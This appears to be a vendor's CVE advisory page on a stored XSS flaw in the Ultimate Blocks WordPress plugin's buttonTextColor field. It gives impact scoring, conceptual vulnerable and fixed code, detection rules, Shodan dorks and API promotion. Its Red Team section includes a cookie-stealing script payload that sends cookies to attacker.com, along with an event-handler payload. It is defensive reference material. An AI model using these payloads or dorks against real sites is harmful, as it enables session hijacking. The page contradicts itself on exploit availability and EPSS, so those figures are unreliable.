☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-1312

CVE-2025-1312 Cross-Site Scripting in Ultimate blocks
📅 PUBLISHED: 2025-03-26 11:22 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.12%
👁️
0.12% probability
2.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-1312 is a Stored Cross-Site Scripting (XSS) vulnerability in the Ultimate Blocks – WordPress Blocks Plugin for WordPress. The flaw resides in the buttonTextColor parameter, which is insufficiently sanitized and escaped. An authenticated attacker with at least Contributor-level privileges can inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious block, the script executes in their browser, potentially leading to session hijacking, defacement, or data theft.

This vulnerability affects all versions up to and including 3.2.7. As of this report, no official patch has been released, and no public exploit code is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild at this time, but the risk remains significant for targeted attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users should monitor for updates and consider disabling the plugin until a patch is available.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level)
  • User Interaction: None
  • Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the potential for privilege escalation and lateral movement makes it a serious concern for multi-user WordPress sites.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS. The buttonTextColor parameter is used to set the color of text in a button block. The plugin fails to sanitize the input (e.g., stripping HTML/JavaScript) and does not escape the output when rendering the block on the front end.

Attack Flow:

  1. An attacker with Contributor-level access (or higher) creates or edits a post/page.
  2. They add an Ultimate Blocks button block.
  3. In the block settings, they inject a malicious payload into the buttonTextColor field, e.g., " onmouseover="alert('XSS')".
  4. The payload is stored in the WordPress database.
  5. When any user (including admins) views the page, the injected script executes in their browser.

Why it works: The plugin likely outputs the color value directly into a style attribute or inline CSS without proper escaping. For example:

<span style="color: [USER_INPUT]">Button Text</span>

An attacker can break out of the attribute and inject event handlers or script tags.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In the render function of the button block
$button_text_color = $attributes['buttonTextColor'];
echo '<span style="color: ' . $button_text_color . ';">' . esc_html($button_text) . '</span>';

The $button_text_color is not sanitized or escaped, allowing attribute injection.

Patched Code (Expected):

$button_text_color = sanitize_hex_color($attributes['buttonTextColor']);
if ( ! $button_text_color ) {
    $button_text_color = '#000000'; // default
}
echo '<span style="color: ' . esc_attr($button_text_color) . ';">' . esc_html($button_text) . '</span>';

The patch should validate the color as a hex value and escape the output using esc_attr().

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with Ultimate Blocks plugin <= 3.2.7
  • User account with Contributor-level privileges or higher

Steps:

  1. Log in as a Contributor.
  2. Create a new post or edit an existing one.
  3. Add the "Button" block from Ultimate Blocks.
  4. In the block settings, locate the buttonTextColor field.
  5. Inject a payload such as:
    " onmouseover="alert(document.cookie)
    
    or for a more persistent attack:
    "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  6. Publish or save the post.
  7. When any user visits the page, the script executes.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual buttonTextColor values in post meta or block attributes.
  • Look for posts containing <script> tags or event handlers within style attributes.
  • Use WAF rules to block common XSS payloads in buttonTextColor parameter.

Hardening:

  • Disable the Ultimate Blocks plugin until a patch is released.
  • Restrict Contributor-level access to trusted users only.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Use a WordPress security plugin that scans for stored XSS.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/ultimate-blocks/ (presence of vulnerable version)
  • Database: Posts/pages containing buttonTextColor with non-hex values or suspicious characters (e.g., <, >, ", ')
  • Network: Outbound requests to attacker-controlled domains from compromised WordPress instances
  • Logs: WordPress audit logs showing creation/editing of posts by Contributor-level users with unusual block attributes

Detection Engineering

YARA Rule

rule CVE_2025_1312_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Ultimate Blocks buttonTextColor parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1312"
    strings:
        $payload1 = /buttonTextColor["\s]*=>["\s]*[^#0-9a-fA-F]/
        $payload2 = /buttonTextColor["\s]*=>["\s]*.*[<>"']/
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via Ultimate Blocks buttonTextColor
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts via the buttonTextColor parameter in Ultimate Blocks plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-json/wp/v2/posts"
        http.body|contains: "buttonTextColor"
        http.body|contains|any:
            - "<script"
            - "onmouseover"
            - "onload"
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of hex colors with special characters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1312 - Stored XSS via Ultimate Blocks buttonTextColor"; flow:to_server,established; content:"buttonTextColor"; http_client_body; pcre:"/buttonTextColor[^}]*?[<>\"']/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until an official patch is released.
  2. Review and clean any posts/pages created by Contributor-level users for malicious content.
  3. Reset passwords for all Contributor-level accounts if compromise is suspected.

Long-term Fix:

  • The vendor must release a patched version (3.2.8 or higher) that properly sanitizes and escapes the buttonTextColor parameter.
  • Users should update to the latest version as soon as it becomes available.

Workarounds:

  • Implement a Web Application Firewall (WAF) rule to block requests containing suspicious buttonTextColor values.
  • Use a WordPress security plugin to monitor for XSS attempts.
  • Restrict the unfiltered_html capability to trusted users only.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/ultimate-blocks"
http.html:"ultimate-blocks" "wp-content"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-1312/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.